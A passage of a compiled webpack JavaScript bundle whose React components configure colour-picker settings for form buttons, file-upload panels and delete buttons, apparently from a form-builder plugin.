_container2.default,
{
label: (0, _utils.translate)('Default'),
value: 'default'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'next-background-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#1ABCA1"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Label color'),
property: (0, _utils.getThemePrefix)(this.props) + 'next-color-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Hover'),
value: 'hover'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'next-background-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#159C85"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Label color'),
property: (0, _utils.getThemePrefix)(this.props) + 'next-color-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Focus'),
value: 'focus'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'next-background-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#159C85"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Label color'),
property: (0, _utils.getThemePrefix)(this.props) + 'next-color-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
)
);
}
}]);
return NextColors;
}(_react.Component);
exports.default = NextColors;
/***/ }),
/* 282 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var SubmitColors = function (_Component) {
_inherits(SubmitColors, _Component);
function SubmitColors(props) {
_classCallCheck(this, SubmitColors);
return _possibleConstructorReturn(this, (SubmitColors.__proto__ || Object.getPrototypeOf(SubmitColors)).call(this, props));
}
_createClass(SubmitColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Default'),
value: 'default'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'button-submit-background-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'button-submit-color-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Hover'),
value: 'hover'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'button-submit-background-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#008FCA"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'button-submit-color-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Focus'),
value: 'focus'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'button-submit-background-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#008FCA"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'button-submit-color-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
)
);
}
}]);
return SubmitColors;
}(_react.Component);
exports.default = SubmitColors;
/***/ }),
/* 283 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _accordion = __webpack_require__(35);
var _accordion2 = _interopRequireDefault(_accordion);
var _uploadPanelSingle = __webpack_require__(284);
var _uploadPanelSingle2 = _interopRequireDefault(_uploadPanelSingle);
var _uploadPanelMultiple = __webpack_require__(285);
var _uploadPanelMultiple2 = _interopRequireDefault(_uploadPanelMultiple);
var _uploadFileMultiple = __webpack_require__(286);
var _uploadFileMultiple2 = _interopRequireDefault(_uploadFileMultiple);
var _uploadFileDelete = __webpack_require__(287);
var _uploadFileDelete2 = _interopRequireDefault(_uploadFileDelete);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var UploadedFilesColors = function (_Component) {
_inherits(UploadedFilesColors, _Component);
function UploadedFilesColors(props) {
_classCallCheck(this, UploadedFilesColors);
return _possibleConstructorReturn(this, (UploadedFilesColors.__proto__ || Object.getPrototypeOf(UploadedFilesColors)).call(this, props));
}
_createClass(UploadedFilesColors, [{
key: 'render',
value: function render() {
var hasSingleUpload = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'upload', 'file-type', 'single') || (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'postdata', 'post_image', 'false');
var hasMultiUpload = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'upload', 'file-type', 'multiple');
return _react2.default.createElement(
'div',
{ className: 'sui-box' },
hasSingleUpload && _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Single File Uploader')
}),
_react2.default.createElement(_uploadPanelSingle2.default, this.props)
)
),
hasMultiUpload && _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Multiple Files Uploader')
}),
_react2.default.createElement(_uploadPanelMultiple2.default, this.props)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Uploaded File')
}),
_react2.default.createElement(_uploadFileMultiple2.default, this.props)
)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Uploaded File Delete Button')
}),
_react2.default.createElement(_uploadFileDelete2.default, this.props)
)
);
}
}]);
return UploadedFilesColors;
}(_react.Component);
exports.default = UploadedFilesColors;
/***/ }),
/* 284 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var SingleUploadPanelColors = function (_Component) {
_inherits(SingleUploadPanelColors, _Component);
function SingleUploadPanelColors(props) {
_classCallCheck(this, SingleUploadPanelColors);
return _possibleConstructorReturn(this, (SingleUploadPanelColors.__proto__ || Object.getPrototypeOf(SingleUploadPanelColors)).call(this, props));
}
_createClass(SingleUploadPanelColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Default'),
value: 'default'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-background-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#1ABC9C"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-color-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Hover'),
value: 'hover'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-background-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#01A383"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-color-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Focus'),
value: 'focus'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-background-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#01A383"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-color-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
)
);
}
}]);
return SingleUploadPanelColors;
}(_react.Component);
exports.default = SingleUploadPanelColors;
/***/ }),
/* 285 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var MultiUploadPanelColors = function (_Component) {
_inherits(MultiUploadPanelColors, _Component);
function MultiUploadPanelColors(props) {
_classCallCheck(this, MultiUploadPanelColors);
return _possibleConstructorReturn(this, (MultiUploadPanelColors.__proto__ || Object.getPrototypeOf(MultiUploadPanelColors)).call(this, props));
}
_createClass(MultiUploadPanelColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
value: 'default',
label: (0, _utils.translate)('Default')
},
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-background-default',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
isAlpha: true
})),
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-border-default',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Cloud icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-icon-default',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Message text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-text-default',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#666666")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Message link color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-link-default',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
}))
),
_react2.default.createElement(
_container2.default,
{
value: 'hover',
label: (0, _utils.translate)('Hover')
},
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-background-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
isAlpha: true
})),
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-border-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Cloud icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-icon-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
isAlpha: true
}))
),
_react2.default.createElement(
_container2.default,
{
value: 'drop',
label: (0, _utils.translate)('Drop')
},
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-background-drop',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E1F6FF"),
isAlpha: true
})),
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-border-drop',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Cloud icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-icon-drop',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
}))
),
_react2.default.createElement(
_container2.default,
{
value: 'error',
label: (0, _utils.translate)('Error')
},
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-background-error',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: this.props.formDesign === 'flat' ? (0, _utils.translate)('Left border color') : (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-border-error',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Cloud icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-icon-error',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
isAlpha: true
}))
)
);
}
}]);
return MultiUploadPanelColors;
}(_react.Component);
exports.default = MultiUploadPanelColors;
/***/ }),
/* 286 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var MultiUploadFileColors = function (_Component) {
_inherits(MultiUploadFileColors, _Component);
function MultiUploadFileColors(props) {
_classCallCheck(this, MultiUploadFileColors);
return _possibleConstructorReturn(this, (MultiUploadFileColors.__proto__ || Object.getPrototypeOf(MultiUploadFileColors)).call(this, props));
}
_createClass(MultiUploadFileColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
value: 'default',
label: (0, _utils.translate)('Default')
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('File preview border color'),
description: (0, _utils.translate)('Default state border will not appear when file ' + 'uploaded is an image.'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-preview-border-default',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('File preview background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-preview-background-default',
defaultValue: this.props.formDesign === 'flat' ? '#EDEDED' : '#FFFFFF'
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('File preview icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-preview-icon-default',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('File name color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-name-default',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#333333")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('File size color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-size-default',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Loading icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-loader-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
}))
),
_react2.default.createElement(
_container2.default,
{
value: 'error',
label: (0, _utils.translate)('Error')
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('File preview border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-preview-border-error',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562")
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('File preview background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-preview-background-error',
defaultValue: this.props.formDesign === 'flat' ? '#EDEDED' : '#FFFFFF'
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('File preview icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-preview-icon-error',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('File size icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-error-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562")
}))
)
);
}
}]);
return MultiUploadFileColors;
}(_react.Component);
exports.default = MultiUploadFileColors;
/***/ }),
/* 287 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var FileDeleteButtonColors = function (_Component) {
_inherits(FileDeleteButtonColors, _Component);
function FileDeleteButtonColors(props) {
_classCallCheck(this, FileDeleteButtonColors);
return _possibleConstructorReturn(this, (FileDeleteButtonColors.__proto__ || Object.getPrototypeOf(FileDeleteButtonColors)).call(this, props));
}
_createClass(FileDeleteButtonColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Default'),
value: 'default'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#00000000"),
property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-delete-background-static',
label: (0, _utils.translate)('Background color'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-delete-color-static',
label: (0, _utils.translate)('Icon color')
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Hover'),
value: 'hover'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F9E4E8"),
property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-delete-background-hover',
label: (0, _utils.translate)('Background color'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
